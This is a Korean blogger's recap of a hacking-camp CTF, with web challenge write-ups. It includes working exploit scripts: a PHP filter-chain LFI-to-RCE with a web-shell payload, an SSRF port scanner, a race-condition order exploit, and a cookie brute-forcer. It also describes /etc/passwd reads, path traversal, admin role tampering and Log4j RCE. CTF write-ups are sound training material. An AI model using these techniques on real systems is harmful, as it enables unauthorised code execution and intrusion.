One_Blog

27회 하계 해킹캠프 후기 + 웹 모든 문제 라이트업 본문

후기,라이트업

27회 하계 해킹캠프 후기 + 웹 모든 문제 라이트업

0xOne 2023. 8. 28. 19:40
728x90

이번에도 해킹캠프를 다녀왔다.

 

이번에 벌써 3회째인데, 어째 한번도 1등을 못하고 있다..

 

물론 순위는 9위 -> 8위 -> 4위로 점점 올라가고 있긴한데, 아쉬운 건 어쩔 수 없다..

 

이번에 BestHacker는 안수현님(mov_ptr)이셨는데,

 

생각보다 베스트 해커 상품이 진짜 개쩔었다.

 

에어팟 프로 + POC 컨퍼런스 참가권(80만원 이상) + 블랙햇 굿즈 + 티오리 관련 굿즈 + Etc ...

 

생각보다 너무 좋아서 부럽긴 했지만, mov_ptr님이 워낙에 참여도가 좋으셨기에 베스트해커로 인정할 수 밖에 없었다. (우리팀이셧음 ^^)

 

그리고 뭔가 저저번 해킹캠프부터 문제 난이도가 계속 올라가는 것 같다.

 

지지난번 해킹캠프 때는 시스템 해킹을 공부하던 쌩초보여서 난이도가 잘 기억 안나긴하는데,

 

라이트업 찾아보면 그렇게 안어려웠던 것 같은데.. 그냥 뭔가 계속 어려워지는 느낌이다..

 

Web도 그렇고,, Misc도 그렇고...

 

아무튼 문제 난이도는 둘 째치고, 이번 해킹캠프가 진짜 맛있었다.

 

발표도 그렇고 문제 퀄리티도 그렇고 진짜 역대급으로 좋았던 해킹캠프 같다.

 

웹 중에서도 2문제는 진짜 퀄리티 + 풀이법을 보고 재밌다를 넘어서 감동을 느껴버렸다..

 

그 중에서도 한 문제는 진짜 신박하다고 느꼈는데.. 내가 아는 취약점인데도 불구하고

 

접근을 못한 건 처음이었다.

 

무려 Race Condition + ReDoS(Django 1-day)를 이용하는 문제였는데... 뒤에서 자세히 적도록 하겠다.

 

아무튼 간에 발표도, 문제 퀄리티(난이도)도, 후원사도 역대급인 여러모로 최고의 해킹캠프였다.

 

이제 내가 풀었던 웹 문제, 못 풀었던 웹문제, 신기하다고 생각한 Misc까지 라이트업을 적어보도록 하겠다.

 

Flag:Puppy

가장 많은 Solver가 나온 문제였다.

 

처음 접속하면 이런식으로 Login창이 있고, 로그인을 하고 들어가면

이런식으로 화면이 보였다. 이때, URL을 확인해보면

 

이런식으로 include하는 file 파라미터를 url에서 받는 것을 볼 수 있는데, 이때 여기서 LFI 취약점이 발생했다.

 

이걸 보고 PHP LFI to RCE 로 푸는 문제라는 걸 깨달을 수 있었다.

 

이때 어떤식으로 RCE를 해야하나 고민을 좀 했는데 ... 

 

php://filter 가 먹히는 것을 확인할 수 있었다.

바로 php filter wrapper rce 를 사용하는 문제임을 깨달았고,

 

바로 Exploit 코드 짜서 rce를 할 수 있었다.

 

import requests

url = "http://15.165.100.234:1208/post.php"
file_to_use = "php://temp"
command = "ls /var/www/html/" # 실행할 커맨드

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "files": final_payload
})

print(r.text)

Exploit 코드 실행하면

이런식으로 뜨는 걸 확인할 수 있었는데, 딱봐도 secret이 수상해 보여서 웹 페이지를 통해 접속해보았다.

FLAG GET!

 

 

 

bestCookie

이 문제는 게싱성향이 좀 강한 문제였다.

 

처음 웹 페이지에 접속하면

이런식으로 페이지가 표시되고, 아래에서 인자값을 입력받고 있었다.

 

response, request 잡아봐도 별 게 없고, 심지어 파라미터에 아무 값이나 다 넣어봐도

 

아무것도 출력되지 않았다. 유일한 힌트는

이렇게 bestCookie에 1이라는 값이 설정되어 있다는 것이었다.

 

그래서 "해킹캠프 쿠키"라는 키워드를 가지고 관련 문제 라이트업을 검색해봤는데,

 

이전 문제 중에, 쿠키에 있는 값을 1씩 증가시켜서 페이지 변화를 이끌어내는 문제가 있었다.

 

이게 다음으로 가는 길임을 알아채고, 

import requests
url = 'http://15.165.100.234:3000/index.php'
for i in range(1,100001):
    cookie = {
        "bestCookie": f"{i}"
    }
    data = {
    'input_cookie': f'{i}',
    'Answer': 'try'
    }
    response = requests.post(url, cookies=cookie, data=data)
    if len(response.content) != 830:
        print("FLAG Is ",i)
        print(response.content)
        break
    else:
        print(i)

다음과 같이 코드를 짰고, 코드를 돌려본 결과 

 

쿠키값이 124일 때 페이지가 변화하는 것을 알아낼 수 있었다.

 

쿠키 값을 124로 변조하고 페이지를 새로고침하니,

 

쿠키가 YlV0dDNyX0Nvb2tpZV9pc190aGVfYmVzdCEh 이 값으로 바뀌고, 

 

개발자도구에서 html 편집기를 통해 아래에 주석이 생긴 것을 확인할 수 있었다.

 

쿠키 값은 base64 decode를 해보니

 

bUtt3r_Cookie_is_the_best!! 를 확인할 수 있었다.

 

어떤 쿠키가 최고의 쿠키냐고 물어봤으니 bUtt3r을 대답해야할 것 같았고,

 

근데 bUtt3r을 그대로 쓰면 필터링을 당하니, 필터링을 우회하여

 

b3rUt3rt33rr 을 입력하였다.

 

그러면 이렇게 플래그가 나온다. FLAG GET!

 

 

 

 

Thumbnail Generator

const express = require("express");
const nunjucks = require("nunjucks");
const sqlite3 = require("sqlite3").verbose();
const sharp = require("sharp");
const puppeteer = require("puppeteer");
const session = require("express-session");
const dotenv = require("dotenv");

dotenv.config();

const app = express();

// initialize database
const db = new sqlite3.Database("./database.db", (err) => {
  if (err) {
    console.error(err.message);
  }
  console.log("Connected to the database.");
});

// initialize db data
db.serialize(() => {
  const sql = `
CREATE TABLE IF NOT EXISTS users (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT NOT NULL,
  password TEXT NOT NULL
);
`;

  db.run(sql, (err) => {
    if (err) {
      console.error(err.message);
    }
    console.log("Initialized the database schema.");
  });

  db.run(
    `INSERT INTO users (username, password) VALUES (?, ?)`,
    ["admin", "hcamp2023"],
    (err) => {
      if (err) {
        console.error(err.message);
      }
      console.log("Inserted a user.");
    }
  );
});

// initialize template engine
nunjucks.configure("views", {
  autoescape: true,
  express: app,
});

// initialize middleware
app.use(express.urlencoded({ extended: true }));
app.use(express.json({ extended: true }));
app.use(
  session({
    secret: process.env.SESSION_SECRET,
    resave: false,
    saveUninitialized: true,
  })
);

// initialize static files
app.use(express.static("public"));

// auth guard middleware for routes
const authGuard = (req, res, next) => {
  if (req.session.user) {
    return next();
  } else {
    return res.redirect("/login");
  }
};

// initialize routes
app.get("/", (req, res) => {
  res.render("index.html", { user: req.session.user });
});

app.get("/login", (req, res) => {
  res.render("login.html");
});

app.post("/login", (req, res) => {
  const { username, password } = req.body;
  const sql = `SELECT * FROM users WHERE username = ? AND password = ?`;
  db.get(sql, [username, password], (err, row) => {
    if (err) {
      console.error(err.message);
      return res.status(500).send("Internal Server Error");
    } else if (row) {
      req.session.user = row;
      return res.redirect("/");
    } else {
      return res.status(500).send("username or password is not correct")
    }
  });
});

app.get("/logout", (req, res) => {
  req.session.destroy();
  res.redirect("/");
});

app.get("/register", (req, res) => {
  res.render("register.html");
});

app.post("/register", (req, res) => {
  const { username, password, confirm_password } = req.body;
  if (password !== confirm_password) {
    return res.status(500).send("password doesn't match");
  }

  // check if username exists
  db.get(`SELECT * FROM users WHERE username = ?`, [username], (err, row) => {
    if (row) {
      console.error(err.message);
      return res.status(500).send("user already exists");
    }
  });

  db.run(
    `INSERT INTO users (username, password) VALUES (?, ?)`,
    [username, password],
    (err) => {
      if (err) {
        console.error(err.message);
        res.status(500).send("Internal Server Error");
      } else {
        res.redirect("/login");
      }
    }
  );
});

app.get("/user", (req, res) => {
  if (req.session.user) {
    res.render("user.html", { user: req.session.user });
  }
});

app.post("/thumbnail", authGuard, async (req, res) => {
  let { url, x = 100, y = 100 } = req.body;

  if (!url) {
    url = "https://www.google.com";
  }

  x = parseInt(x)
  y = parseInt(y)

  if (typeof x == "number" || typeof y == "number") {
    // console.log(x, y);
    x = Math.max(100, Math.min(x, 500));
    y = Math.max(100, Math.min(y, 500));
  }

  console.log(req.session.user, url, x, y)

  try {
    const browser = await puppeteer.launch({
      headless: "new",
      executablePath: "/usr/bin/chromium-browser",
      args: ["--no-sandbox", "--disable-gpu"],
    });

    const page = await browser.newPage();
    await page.setViewport({ width: x, height: y });
    await page.goto(url);
    const imageBuffer = await page.screenshot();
    await browser.close();

    const resizedImageBuffer = await sharp(imageBuffer).resize(x, y).toBuffer();

    res.set("Content-Type", "image/png");
    res.send(resizedImageBuffer);
  } catch (err) {
    console.error(err.message);
    res.status(500).send("Internal Server Error");
  }
});

app.listen(3000, () => {
  console.log("Listening on port 3000");
});

이거는 실수만 안했어도 100% 풀었을 문제인데 ... 좀 억울하다.

 

처음에 로그인을 하고, URL을 입력받아 URL에 접속하고 그 결과를 페이지에 표시해주는 문제였다.

 

무조건 SSRF임을 직감했고, file://etc/passwd을 파라미터에 입력했었다.

 

근데 Internal Server Error가 뜨길래, http://localhost/ 라던가, 여러개 시도해봤는데

 

다 Internal Server Error 뜨길래 뭐지..하고 다른 문제를 풀러 갔었는데,

 

나중에 보니 file://etc/passwd 이게 문제였다.

 

file 앞에 /를 하나써도 되고, 3개써도 되는데, 2개는 안되는 것이었다..

 

file:/etc/passwd 가능

file:///etc/passwd 가능

file://etc/passwd 불가능

 

이걸 간과하고,, file://etc/passwd을 썼다가 안되서 포기했었는데

 

file:///etc/passwd 쓰니까 바로 되었다..

 

참고로 서버에 request 날아갈 때, 화면에 표시되는 창의 크기 (x,y)를 내가 정할 수 있었기에,

어떤 파일을 읽던 창의 크기가 부족해 파일을 읽지 못하는 사태를 피하기 위해 x=1000, y=1000으로 변조해서 전송했다.

 

그럼 이렇게 읽어지는 걸 확인할 수 있었는데, 

 

file:///flag를 해도 안나오길래 php의 Directory Indexing 특성을 이용하여 

 

/ 디렉토리에 어떤 파일이 있는 지 확인해보았다.

 

app은 원래 존재하지 않는 디렉토리기에, 확인해보기 위해 file:///app/ 을 파라미터로 전송했고,

 

이런식으로 /app/ 안에 내용을 확인할 수 있었다.

 

Dockerfile이 눈에 띄었는데,

 

보통 CTF 문제에서 FLAG를 Dockerfile을 통해  저장하기에, Dockerfile을 읽어보면 FLAG 위치를 알 수 있을 것이다.

 

/flag 위치가 /wdkqqpkfpq 인것을 확인 가능하고, 여기로 접속해보면

FLAG가 뜬다. FLAG GET!

 

근데 다른 사람들은 file://etc/passwd 같은 실수를 했을 것 같진 않은데.. 왜 이 문제가 1solve 인지는 아직까지 잘 모르겠다..

 

 

 

 

DetectNet

문제 환경 구성

이건 진짜 리얼 잘 만들어진 문제다..

 

문제 제작자분 피셜로 실제 발생했던 취약점과 Exploit Process를 바탕으로 문제를 제작했다고 하신다.

 

일단 처음 접속 화면부터 심상치 않다..

 

거의 CCE, CodeGate에나 나올법한 문제 UI에 좀 놀랐었다.

 

일단 회원가입을 조져주고, 세부 기능을 파악해보았다.

 

Notice, Charts는 별 의미가 없는 것 같았고, 

 

Equipments -> Equipment Server Status 기능은 Lookup Key가 필요했다. 

 

또한 My Profile에 접속하면 Admin만 이용할 수 있는 기능이 있었는데, 파악된 정보가 너무 없어서

 

일단 아무래도 Admin 계정을 탈취해야 할 것 같았다.

 

회원가입 할 때 날아가는 패킷을 잡아보니 특이하게도 role이라는 인자값이 추가로 있는 것을 확인할 수 있었는데,

 

아무래도 이걸 admin으로 변조하면 admin으로 가입이 될 듯 했다.

 

가입 후 로그인을 하고 My Profile에 접속해보니,

아까 member일때는 비활성화 되어있던 기능이 활성화된것을 확인할 수 있었다.

 

파일 업로드 기능을 활용해서 WebShell을 올리는 것을 시도 했었는데, 아무리 시도해도 안되길래

 

Download 기능을 건드려 보기로 했다.

Download 누르고 패킷을 잡아보니 이런식으로 filename을 받는 것을 알 수 있었고, 이를 기반으로 /etc/passwd를 다운로드 하는 것을 시도해 보았다.

 

패킷 변조

다음과 같이 /etc/passwd 파일을 다운받는데 성공했다.

 

이를 기반으로

다음과 같이 서버 코드를 획득할 수 있었다.

 

다운받은 서버 코드들을 잘 살펴보니,

 

LookupKey와 API 서버 주소를 획득할 수 있었다.

 

API 서버 주소 : http://apiapp:5500/

LookupKey : dtnet2627

 

API 서버 조회 성공

 

이때 api 서버 주소가 apiapp:5500 이었으니, 우리가 플래그를 얻어야 하는

 

로그 서버 주소는 logapp:특정 포트인 것을 추측할 수 있었다.

 

근데 아무리 뒤져봐도 logapp의 전체 URL이 적혀있는 서버 파일이 없어서,

 

직접 포트스캔 툴을 Python로 제작해 돌려서 logapp의 포트를 찾을 수 있었다.

import requests
from bs4 import BeautifulSoup
import threading

url = 'http://15.165.100.234:8380/serverstatus.php'

port_ranges = [(1, 1000), (1001, 2000), (2001, 3000), (3001, 4000), (4001, 5000),
               (5001, 6000), (6001, 7000), (7001, 8000), (8001, 9000), (9001, 10000)]

found_h1_tag = None
lock = threading.Lock()

exit_flag = False

def scan_ports(start, end):
    global found_h1_tag
    global exit_flag

    for i in range(start, end + 1):
        if exit_flag:
            return 

        data = {
            'serveraddress': f'http://logapp:{i}/',
            'lookupkey': 'dtnet2627'
        }
        response = requests.post(url, data=data)
        soup = BeautifulSoup(response.content, "html.parser")
        fail_text = "Lookup Fail!"
        if fail_text in soup.get_text():
            print(i)
        else:
            with lock:
                found_fail_text = True
                print(f"Port {i} - Found: {i}")
                exit_flag = True
                return

threads = []
for start, end in port_ranges:
    thread = threading.Thread(target=scan_ports, args=(start, end))
    thread.start()
    threads.append(thread)

for thread in threads:
    thread.join()

if found_h1_tag is None:
    print("결과를 찾을 수 없습니다.")

 

포트 8080인 것을 확인 완료

그리고 찾은 포트를 기반으로 요청을 보내보니,

다음과 같이 로그 서버에 제대로 요청이 가는 것을 확인할 수 있었다.

 

그렇게 싱글벙글하게 FLAG를 얻을 생각에 행복했었는데 .. (이때가 약 오후 12시 48분 경)

 

알고보니 여기서 끝이 아니고 /tmp/flag.txt도 그 유명한 Log4j(1-day)를 통해 RCE를 해서 Flag를 읽어야 했다..

 

결국 솔브는 못했지만, 그래도 많이 접근 할 수 있어서 좋았다.

 

아무튼 풀이를 이어가자면,

 

http://logapp:8080/log?value={payload}를 통해 Log4j to RCE 공격을 할 수 있다.

 

Log4j RCE에 대한 내용은 

https://ravidusash.tistory.com/203

 

Log4j 취약점 실습 및 분석

Log4j란? Log4j 2021-12-9일에 발견된 제로데이 취약점으로 알리바바 보안 팀에 의해 최초로 알려졌지만 ‘cloudflare’에 따르면 취약점이 발표되기 8일 전인 12월 1일부터 해킹에 사용되고 있었다고 합

ravidusash.tistory.com

해당 글을 참고하면 좋다.

 

아무튼 그렇게 Payload를 전송하고 나면, 내 서버에서 logapp 서버로 Command를 실행할 수 있게 

이런식으로 연결된 것을 확인할 수 있다.

 

아까 문제 설명에서 /tmp/flag.txt에 FLAG가 있다고 했으니, cat /tmp/flag.txt를 입력하면?

 

FLAG GET...!!

 

하이 퀄리티 문제 감사드립니다!

 

Flag Shop

이건 진짜 풀이를 듣고 감동을 먹은 문제다.. 

 

풀이법 먼저 말하자면 Race Condition + ReDoS(Email Validator, 1-day)이다.

 

처음 접속해서 로그인을 하고나면,

이런식으로 물품을 구매할 수 있게 리스트를 주고, FLAG는 100$인데 처음 로그인 하면 오직 100$밖에 안준다.

 

그리고 상품 Order을 누르면, 이렇게 이메일을 입력받는데

 

이때 이메일을 입력할 때 긴 길이의 이메일을 줌으로써 order되고 잔고 값이 변하는 시간을 미룰 수 있다.

 

import requests
from concurrent.futures import ThreadPoolExecutor
def make_request(url):
    data = {
    'email': 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@gmail.com'
        }
    headers = {
        'Host': '158.247.236.165',
        'Content-Length': '31',
        'X-CSRFToken': '7FdoG3ufZS3TuwJ3Ai8C2ttHq6EgPX4vU36CoQL5HMm4R9Im0gNp3FJSnHuy6Prv',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36',
        'Content-Type': 'application/json',
        'Accept': '*/*',
        'Origin': 'http://158.247.236.165',
        'Referer': 'http://158.247.236.165/',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
        'Cookie': 'csrftoken=iQw1X6vSTbpQAnfKjjySu9ITnEZSvjy25epfFTMIB5I1X0e3JhdFvlY4kfPaMbV2; sessionid=dikz63413g6bkwztzcqwndydeobwtiuc',
        'Connection': 'close',
    }
    response = requests.get(url, data=data, headers=headers)
    print(f"Response from {url}: {response.status_code}")

cookies = {

}

urls = [
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/'
]

executor = ThreadPoolExecutor()
for url in urls:
    executor.submit(make_request, url)

executor.shutdown(wait=True)

다음과 같이 파이썬 비동기 처리를 통해  100$짜리 물품을 구매하는 요청 10개를 한번에 보낼 수 있고,

 

이때 긴 길이의 Email로 인해 Race Condition 공격이 가능해 잔고가 100$임에도 불구하고

 

100$짜리 물건을 10개 구매할 수 있다.

여러 물품이 구매된 모습

그리고 이렇게 주문된 물품을 하나하나 판매해서 1000$를 모으고,

 

flag를 구매한다.

 

그리고 /flag 엔드포인트에 요청을 보내면?

 

FLAG GET!

 

RACE Condition을 이용한 CTF 문제는 진짜 처음 본 지라..

 

솔직히 어떤 취약점인지 알아도 잘 생각하지 못하는 취약점이다보니까 좀 많이 신박했다. 

 

문제 만들어주셔서 감사합니다..!

 

 

 

readme

이 문제는 내가 라이트업 들으면서 쓴 라이트업으로 대체하겠다.

 

최종 페이로드는 $CONFIG/self/fd/6 가 된다.

 

이유는 내가 쓴 라이트업 읽어보면 된다. ^^

 

FLAG GET!

 

 

 

.

.

.

.

.

.

.

.

.

.

 

 

 

 

 

내가 아는 취약점들로 이루어져 있음에도 사소한 실수, 틀에 갇힌 생각으로 인해

 

풀지 못한 문제가 2문제나 있는 게 좀 슬펐다.

 

그래도 발표들도 너무 좋았고, 문제들도 너무 좋았고, 팀원도 너무 좋았어서

 

후회가 되진 않는다.

 

다음엔 진짜 해킹캠프 웹 올클을 노려봐야겠다.

 

저희 팀이었던 Flex팀원 분들 모두 수고 많으셨고, 해킹캠프 운영해주신 POC분들, 이외에도 수고해주신 모든 분들

 

수고 많으셨습니다!!

 

읽어주셔서 감사합니다! 

 

킹아